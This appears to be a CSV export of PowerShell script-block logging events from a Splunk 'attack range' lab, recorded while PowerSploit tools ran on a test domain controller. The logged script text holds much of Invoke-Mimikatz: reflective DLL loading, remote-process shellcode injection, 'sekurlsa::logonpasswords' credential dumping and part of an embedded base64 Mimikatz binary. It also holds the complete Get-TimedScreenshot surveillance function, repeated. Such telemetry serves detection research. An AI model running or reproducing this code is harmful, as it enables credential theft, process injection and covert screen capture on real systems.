FQaICABMi/BIg/j/D4QLAwAAi/OJXX9IjUX3x0X3IAAAAESLzkiJRCQgTI1F5zPSSYvO/xXa",,,,,,,,,,,"'2022-05-02T18:24:34.886389300Z'","4104132150x0122255Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local",,,,,2,,"'5528'",,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,1,"4104132150x0122255Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local7120ible -eq $true)
{
Write-Verbose ""Update memory protection flags""
Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types
}
else
{
Write-Verbose ""PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute""
}
}
else
{
Write-Verbose ""PE being loaded in to a remote process, not adjusting memory permissions""
}
#If remote loading, copy the DLL in to remote process memory
if ($RemoteLoading -eq $true)
{
[UInt32]$NumBytesWritten = 0
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten)
if ($Success -eq $false)
{
Throw ""Unable to write shellcode to remote process memory.""
}
}
#Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function
if ($PEInfo.FileType -ieq ""DLL"")
{
if ($RemoteLoading -eq $false)
{
Write-Verbose ""Calling dllmain so the DLL knows it has been loaded""
$DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
$DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
$DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
$DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null
}
else
{
$DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
if ($PEInfo.PE64Bit -eq $true)
{
#Shellcode: CallDllMain.asm
$CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9)
$CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8)
$CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
}
else
{
#Shellcode: CallDllMain.asm
$CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9)
$CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8)
$CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3)
}
$SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2)
$SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
$SCPSMemOriginal = $SCPSMem
Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length)
[System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false)
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem
$SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length)
$RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
if ($RSCAddr -eq [IntPtr]::Zero)
{
Throw ""Unable to allocate memory in the remote process for shellcode""
}
$Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
{
Throw ""Unable to write shellcode to remote process memory.""
}
$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
$Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
if ($Result -ne 0)
{
Throw ""Call to CreateRemoteThread to call GetProcAddress failed.""
}
$Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
}
}
elseif ($PEInfo.FileType -ieq ""EXE"")
{
#Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process
[IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1)
[System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00)
$OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr
#If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread
# This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread.
[IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
Write-Verbose ""Call EXE Main function. Address: $ExeMainPtr. Creating thread for the EXE to run in.""
$Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null
while($true)
{
[Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0)
if ($ThreadDone -eq 1)
{
Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants
Write-Verbose ""EXE thread has completed.""
break
}
else
{
Start-Sleep -Seconds 1
}
}
}
return @($PEInfo.PEHandle, $EffectivePEHandle)
}
Function Invoke-MemoryFreeLibrary
{
Param(
[Parameter(Position=0, Mandatory=$true)]
[IntPtr]
$PEHandle
)
#Get Win32 constants and functions
$Win32Constants = Get-Win32Constants
$Win32Functions = Get-Win32Functions
$Win32Types = Get-Win32Types
$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
#Call FreeLibrary for all the imports of the DLL
if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0)
{
[IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress)
while ($true)
{
$ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)
#If the structure is null, it signals that this is the end of the array
if ($ImportDescriptor.Characteristics -eq 0 `
-and $ImportDescriptor.FirstThunk -eq 0 `
-and $ImportDescriptor.ForwarderChain -eq 0 `
-and $ImportDescriptor.Name -eq 0 `
-and $ImportDescriptor.TimeDateStamp -eq 0)
{
Write-Verbose ""Done unloading the libraries needed by the PE""
break
}
$ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)))
$ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath)
if ($ImportDllHandle -eq $null)
{
Write-Warning ""Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways"" -WarningAction Continue
}
$Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle)
if ($Success -eq $false)
{
Write-Warning ""Unable to free library: $ImportDllPath. Continuing anyways."" -WarningAction Continue
}
$ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR))
}
}
#Call DllMain with process detach
Write-Verbose ""Calling dllmain so the DLL knows it is being unloaded""
$DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint)
$DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool])
$DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate)
$DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null
$Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
if ($Success -eq $false)
{
Write-Warning ""Unable to call VirtualFree on the PE's memory. Continuing anyways."" -WarningAction Continue
}
}
Function Main
{
$Win32Functions = Get-Win32Functions
$Win32Types = Get-Win32Types
$Win32Constants = Get-Win32Constants
$RemoteProcHandle = [IntPtr]::Zero
#If a remote process to inject in to is specified, get a handle to it
if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne """"))
{
Throw ""Can't supply a ProcId and ProcName, choose one or the other""
}
elseif ($ProcName -ne $null -and $ProcName -ne """")
{
$Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue)
if ($Processes.Count -eq 0)
{
Throw ""Can't find process $ProcName""
}
elseif ($Processes.Count -gt 1)
{
$ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId
Write-Output $ProcInfo
Throw ""More than one instance of $ProcName found, please specify the process ID to inject in to.""
}
else
{
$ProcId = $Processes[0].ID
}
}
#Just realized that PowerShell launches with SeDebugPrivilege for some reason.. So this isn't needed. Keeping it around just incase it is needed in the future.
#If the script isn't running in the same Windows logon session as the target, get SeDebugPrivilege
# if ((Get-Process -Id $PID).SessionId -ne (Get-Process -Id $ProcId).SessionId)
# {
# Write-Verbose ""Getting SeDebugPrivilege""
# Enable-SeDebugPrivilege -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants
# }
if (($ProcId -ne $null) -and ($ProcId -ne 0))
{
$RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId)
if ($RemoteProcHandle -eq [IntPtr]::Zero)
{
Throw ""Couldn't obtain the handle for process ID: $ProcId""
}
Write-Verbose ""Got the handle for the remote process to inject in to""
}
#Load the PE reflectively
Write-Verbose ""Calling Invoke-MemoryLoadLibrary""
try
{
$Processors = Get-WmiObject -Class Win32_Processor
}
catch
{
throw ($_.Exception)
}
if ($Processors -is [array])
{
$Processor = $Processors[0]
} else {
$Processor = $Processors
}
if ( ( $Processor.AddressWidth) -ne (([System.IntPtr]::Size)*8) )
{
Write-Verbose ( ""Architecture: "" + $Processor.AddressWidth + "" Process: "" + ([System.IntPtr]::Size * 8))
Write-Error ""PowerShell architecture (32bit/64bit) doesn't match OS architecture. 64bit PS must be used on a 64bit OS."" -ErrorAction Stop
}
#Determine whether or not to use 32bit or 64bit bytes
if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 8)
{
[Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes64)
}
else
{
[Byte[]]$PEBytes = [Byte[]][Convert]::FromBase64String($PEBytes32)
}
$PEBytes[0] = 0
$PEBytes[1] = 0
$PEHandle = [IntPtr]::Zero
if ($RemoteProcHandle -eq [IntPtr]::Zero)
{
$PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs
}
else
{
$PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle
}
if ($PELoadedInfo -eq [IntPtr]::Zero)
{
Throw ""Unable to load PE, handle returned is NULL""
}
$PEHandle = $PELoadedInfo[0]
$RemotePEHandle = $PELoadedInfo[1] #only matters if you loaded in to a remote process
#Check if EXE or DLL. If EXE, the entry point was already called and we can now return. If DLL, call user function.
$PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants
if (($PEInfo.FileType -ieq ""DLL"") -and ($RemoteProcHandle -eq [IntPtr]::Zero))
{
#########################################
### YOUR CODE GOES HERE
#########################################
Write-Verbose ""Calling function with WString return type""
[IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName ""powershell_reflective_mimikatz""
if ($WStringFuncAddr -eq [IntPtr]::Zero)
{
Throw ""Couldn't find function address.""
}
$WStringFuncDelegate = Get-DelegateType @([IntPtr]) ([IntPtr])
$WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate)
$WStringInput = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArgs)
[IntPtr]$OutputPtr = $WStringFunc.Invoke($WStringInput)
[System.Runtime.InteropServices.Marshal]::FreeHGlobal($WStringInput)
if ($OutputPtr -eq [IntPtr]::Zero)
{
Throw ""Unable to get output, Output Ptr is NULL""
}
else
{
$Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr)
Write-Output $Output
$Win32Functions.LocalFree.Invoke($OutputPtr);
}
#########################################
### END OF YOUR CODE
#########################################
}
#For remote DLL injection, call a void function which takes no parameters
elseif (($PEInfo.FileType -ieq ""DLL"") -and ($RemoteProcHandle -ne [IntPtr]::Zero))
{
$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName ""VoidFunc""
if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero))
{
Throw ""VoidFunc couldn't be found in the DLL""
}
$VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle
$VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle
#Create the remote thread, don't wait for it to return.. This will probably mainly be used to plant backdoors
$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions
}
#Don't free a library if it is injected in a remote process
if ($RemoteProcHandle -eq [IntPtr]::Zero)
{
Invoke-MemoryFreeLibrary -PEHandle $PEHandle
}
else
{
#Just delete the memory allocated in PowerShell to build the PE before injecting to remote process
$Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE)
if ($Success -eq $false)
{
Write-Warning ""Unable to call VirtualFree on the PE's memory. Continuing anyways."" -WarningAction Continue
}
}
Write-Verbose ""Done!""
}
Main
}
#Main function to either run the script locally or remotely
Function Main
{
if (($PSCmdlet.MyInvocation.BoundParameters[""Debug""] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters[""Debug""].IsPresent)
{
$DebugPreference = ""Continue""
}
Write-Verbose ""PowerShell ProcessID: $PID""
if ($PsCmdlet.ParameterSetName -ieq ""DumpCreds"")
{
$ExeArgs = ""sekurlsa::logonpasswords exit""
}
elseif ($PsCmdlet.ParameterSetName -ieq ""DumpCerts"")
{
$ExeArgs = ""crypto::cng crypto::capi `""crypto::certificates /export`"" `""crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE`"" exit""
}
else
{
$ExeArgs = $Command
}
[System.IO.Directory]::SetCurrentDirectory($pwd)
# 2.1 (x64) 20161029 OJ Edition!
# SHA256 hash: C36572664731F058A282FA6F943E48FE80646F6613C3A46F3EEE1F4A121B2158
# VirusTotal Analysis: https://www.virustotal.com/en/file/c36572664731f058a282fa6f943e48fe80646f6613c3a46f3eee1f4a121b2158/analysis/1478821040/
$PEBytes64 = 'TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABnB4EsI2bvfyNm738jZu9/l/oefyZm73+X+hx/tmbvf5f6HX8tZu9/GDjsfiRm738YOOp+Nmbvfxg4634xZu9/RYgkfydm738qHmh/IWbvf1X7lH8lZu9/Kh58fz5m738jZu5/smfvf7Q4535vZu9/tDjvfiJm73+xOBB/Imbvf7Q47X4iZu9/UmljaCNm738AAAAAAAAAAAAAAAAAAAAAUEUAAGSGBwBTAyVYAAAAAAAAAADwACIgCwIOAAB4CAAAlAQAAAAAAGh1BgAAEAAAAAAAgAEAAAAAEAAAAAIAAAUAAgAAAAAABQACAAAAAAAAYA0AAAQAAAAAAAADAGABAAAQAAAAAAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAAPAjDABgAAAAUCQMAJABAAAAMA0AiAIAAADQDAAwTgAAAAAAAAAAAAAAQA0AWBIAAFDsCwAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcOwLAJQAAAAAAAAAAAAAAACQCAC4DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALnRleHQAAAAwdggAABAAAAB4CAAABAAAAAAAAAAAAAAAAAAAIAAAYC5yZGF0YQAAIsEDAACQCAAAwgMAAHwIAAAAAAAAAAAAAAAAAEAAAEAuZGF0YQAAAJxmAAAAYAwAAEwAAAA+DAAAAAAAAAAAAAAAAABAAADALnBkYXRhAAAwTgAAANAMAABQAAAAigwAAAAAAAAAAAAAAAAAQAAAQC5nZmlkcwAAmAAAAAAgDQAAAgAAANoMAAAAAAAAAAAAAAAAAEAAAEAucnNyYwAAAIgCAAAAMA0AAAQAAADcDAAAAAAAAAAAAAAAAABAAABALnJlbG9jAABYEgAAAEANAAAUAAAA4AwAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEiNBYG2DADDTIlEJBhMiUwkIFNVVldIg+w4SYvwSI1sJHhIi9pIi/no0////0iJbCQoTIvOSINkJCAATIvDSIvXSIsI6Ee1BgCDyf+FwA9IwUiDxDhfXl1bw8zMQFNIg+xwSIvCSIvZSIvISI1UJFD/FTKHCACFwHR3D7dUJFpIjUwkYEQPt0QkWA+3RCRcRA+3VCRWRA+3XCRSRA+3TCRQiUQkQIlUJDi6EAAAAESJRCQwTI0F9gsJAESJVCQoRIlcJCDoP////4XAfiRMjUwkYEjHRCQgDwAAAEG4GAAAAEiNFegLCQBIi8v/FQeKCABIg8RwW8PMQFNIg+xASIvZQbABSI1MJDD/FTmLCACFwHgvD7dEJDBIjRWxCwkATItMJDhBuBsAAABIi8uJRCQg/xXBiQgASI1MJDD/Ff6KCABIg8RAW8NIi8REiUggRIlAGEiJUBBIiUgIVVNWV0FUQVVBVkFXSI1ooUiB7IgAAAAz20iNTedEi+tIiR0esAwASI09F7AMAP8VyYEIAESNSxJFM8Az0kiNTef/FQaICABMi/BIg/j/D4QLAwAAi/OJXX9IjUX3x0X3IAAAAESLzkiJRCQgTI1F5zPSSYvO/xXafb55df30-b22e-428c-9941-1d18b4570d38C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Exfiltration\Invoke-Mimikatz.ps1","2022-05-02T18:24:34.000+0000",,,,,,,,,,,,,"win-dc-mhaag-attack-range-270.attackrange.local",,"WIN-DC-MHAAG-AT",122255,"endpoint_services_processes err0r nix_errors windows_event_signature",,,,,,,,"WIN-DC-MHAAG-AT",,,122255,win,404,,,,,,,,,,,,,,,,,,,,,,,,,,,"<_='://../////'><><_='--'_='{----}'/><>><>><><",,,,,,,,,,,,,,,,,,,,,4104,"XmlWinEventLog:Microsoft-Windows-PowerShell/Operational",XmlWinEventLog,"splunk-server-mhaag-attack-range-3271",,,,,,,,,,,,"error
track_event_signatures",,,"error
track_event_signatures",,,,,,,,,,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,"Microsoft Windows"
"'{7B7F4240-5E23-0005-4566-7F7B235ED801}'",,,"Microsoft-Windows-PowerShell/Operational",,,,"win-dc-mhaag-attack-range-270.attackrange.local",,,,,,,4104,"11function Get-TimedScreenshot
{
<#
.SYNOPSIS
Takes screenshots at a regular interval and saves them to disk.
PowerSploit Function: Get-TimedScreenshot
Author: Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
A function that takes screenshots and saves them to a folder.
.PARAMETER Path
Specifies the folder path.
.PARAMETER Interval
Specifies the interval in seconds between taking screenshots.
.PARAMETER EndTime
Specifies when the script should stop running in the format HH-MM
.EXAMPLE
PS C:\> Get-TimedScreenshot -Path c:\temp\ -Interval 30 -EndTime 14:00
.LINK
http://obscuresecurity.blogspot.com/2013/01/Get-TimedScreenshot.html
https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-TimedScreenshot.ps1
#>
[CmdletBinding()] Param(
[Parameter(Mandatory=$True)]
[ValidateScript({Test-Path -Path $_ })]
[String] $Path,
[Parameter(Mandatory=$True)]
[Int32] $Interval,
[Parameter(Mandatory=$True)]
[String] $EndTime
)
#Define helper function that generates and saves screenshot
Function Get-Screenshot {
$ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
$VideoController = Get-WmiObject -Query 'SELECT VideoModeDescription FROM Win32_VideoController'
if ($VideoController.VideoModeDescription -and $VideoController.VideoModeDescription -match '(?<ScreenWidth>^\d+) x (?<ScreenHeight>\d+) x .*$') {
$Width = [Int] $Matches['ScreenWidth']
$Height = [Int] $Matches['ScreenHeight']
} else {
$ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
$Width = $ScreenBounds.Width
$Height = $ScreenBounds.Height
}
$Size = New-Object System.Drawing.Size($Width, $Height)
$Point = New-Object System.Drawing.Point(0, 0)
$ScreenshotObject = New-Object Drawing.Bitmap $Width, $Height
$DrawingGraphics = [Drawing.Graphics]::FromImage($ScreenshotObject)
$DrawingGraphics.CopyFromScreen($Point, [Drawing.Point]::Empty, $Size)
$DrawingGraphics.Dispose()
$ScreenshotObject.Save($FilePath)
$ScreenshotObject.Dispose()
}
Try {
#load required assembly
Add-Type -Assembly System.Windows.Forms
Do {
#get the current time and build the filename from it
$Time = (Get-Date)
[String] $FileName = ""$($Time.Month)""
$FileName += '-'
$FileName += ""$($Time.Day)""
$FileName += '-'
$FileName += ""$($Time.Year)""
$FileName += '-'
$FileName += ""$($Time.Hour)""
$FileName += '-'
$FileName += ""$($Time.Minute)""
$FileName += '-'
$FileName += ""$($Time.Second)""
$FileName += '.png'
#use join-path to add path to filename
[String] $FilePath = (Join-Path $Path $FileName)
#run screenshot function
Get-Screenshot
Write-Verbose ""Saved screenshot to $FilePath. Sleeping for $Interval seconds""
Start-Sleep -Seconds $Interval
}
#note that this will run once regardless if the specified time as passed
While ((Get-Date -Format HH:mm) -lt $EndTime)
}
Catch {Write-Error $Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage}
}
b62d31d1-ac0b-4fb0-b9ed-3d06bfd24355C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Exfiltration\Get-TimedScreenshot.ps1",,4104,122210,,,,,"'{A0C1853B-5C40-4B15-8766-3CF1C58F985A}'",,,,,,0x0,3,,,,1,1,"'Microsoft-Windows-PowerShell'",15,,,,,,,"C:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Exfiltration\Get-TimedScreenshot.ps1",,,"'5388'",,,,,,122210,,,,"b62d31d1-ac0b-4fb0-b9ed-3d06bfd24355","function Get-TimedScreenshot
{
<#
.SYNOPSIS
Takes screenshots at a regular interval and saves them to disk.
PowerSploit Function: Get-TimedScreenshot
Author: Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
A function that takes screenshots and saves them to a folder.
.PARAMETER Path
Specifies the folder path.
.PARAMETER Interval
Specifies the interval in seconds between taking screenshots.
.PARAMETER EndTime
Specifies when the script should stop running in the format HH-MM
.EXAMPLE
PS C:\> Get-TimedScreenshot -Path c:\temp\ -Interval 30 -EndTime 14:00
.LINK
http://obscuresecurity.blogspot.com/2013/01/Get-TimedScreenshot.html
https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-TimedScreenshot.ps1
#>
[CmdletBinding()] Param(
[Parameter(Mandatory=$True)]
[ValidateScript({Test-Path -Path $_ })]
[String] $Path,
[Parameter(Mandatory=$True)]
[Int32] $Interval,
[Parameter(Mandatory=$True)]
[String] $EndTime
)
#Define helper function that generates and saves screenshot
Function Get-Screenshot {
$ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
$VideoController = Get-WmiObject -Query 'SELECT VideoModeDescription FROM Win32_VideoController'
if ($VideoController.VideoModeDescription -and $VideoController.VideoModeDescription -match '(?<ScreenWidth>^\d+) x (?<ScreenHeight>\d+) x .*$') {
$Width = [Int] $Matches['ScreenWidth']
$Height = [Int] $Matches['ScreenHeight']
} else {
$ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
$Width = $ScreenBounds.Width
$Height = $ScreenBounds.Height
}
$Size = New-Object System.Drawing.Size($Width, $Height)
$Point = New-Object System.Drawing.Point(0, 0)
$ScreenshotObject = New-Object Drawing.Bitmap $Width, $Height
$DrawingGraphics = [Drawing.Graphics]::FromImage($ScreenshotObject)
$DrawingGraphics.CopyFromScreen($Point, [Drawing.Point]::Empty, $Size)
$DrawingGraphics.Dispose()
$ScreenshotObject.Save($FilePath)
$ScreenshotObject.Dispose()
}
Try {
#load required assembly
Add-Type -Assembly System.Windows.Forms
Do {
#get the current time and build the filename from it
$Time = (Get-Date)
[String] $FileName = ""$($Time.Month)""
$FileName += '-'
$FileName += ""$($Time.Day)""
$FileName += '-'
$FileName += ""$($Time.Year)""
$FileName += '-'
$FileName += ""$($Time.Hour)""
$FileName += '-'
$FileName += ""$($Time.Minute)""
$FileName += '-'
$FileName += ""$($Time.Second)""
$FileName += '.png'
#use join-path to add path to filename
[String] $FilePath = (Join-Path $Path $FileName)
#run screenshot function
Get-Screenshot
Write-Verbose ""Saved screenshot to $FilePath. Sleeping for $Interval seconds""
Start-Sleep -Seconds $Interval
}
#note that this will run once regardless if the specified time as passed
While ((Get-Date -Format HH:mm) -lt $EndTime)
}
Catch {Write-Error $Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage}
}",,,,,,,,,,,"'2022-05-02T18:24:33.228808300Z'","4104132150x0122210Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local",,,,,2,,"'5528'",,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,1,"4104132150x0122210Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11function Get-TimedScreenshot
{
<#
.SYNOPSIS
Takes screenshots at a regular interval and saves them to disk.
PowerSploit Function: Get-TimedScreenshot
Author: Chris Campbell (@obscuresec)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
A function that takes screenshots and saves them to a folder.
.PARAMETER Path
Specifies the folder path.
.PARAMETER Interval
Specifies the interval in seconds between taking screenshots.
.PARAMETER EndTime
Specifies when the script should stop running in the format HH-MM
.EXAMPLE
PS C:\> Get-TimedScreenshot -Path c:\temp\ -Interval 30 -EndTime 14:00
.LINK
http://obscuresecurity.blogspot.com/2013/01/Get-TimedScreenshot.html
https://github.com/mattifestation/PowerSploit/blob/master/Exfiltration/Get-TimedScreenshot.ps1
#>
[CmdletBinding()] Param(
[Parameter(Mandatory=$True)]
[ValidateScript({Test-Path -Path $_ })]
[String] $Path,
[Parameter(Mandatory=$True)]
[Int32] $Interval,
[Parameter(Mandatory=$True)]
[String] $EndTime
)
#Define helper function that generates and saves screenshot
Function Get-Screenshot {
$ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
$VideoController = Get-WmiObject -Query 'SELECT VideoModeDescription FROM Win32_VideoController'
if ($VideoController.VideoModeDescription -and $VideoController.VideoModeDescription -match '(?<ScreenWidth>^\d+) x (?<ScreenHeight>\d+) x .*$') {
$Width = [Int] $Matches['ScreenWidth']
$Height = [Int] $Matches['ScreenHeight']
} else {
$ScreenBounds = [Windows.Forms.SystemInformation]::VirtualScreen
$Width = $ScreenBounds.Width
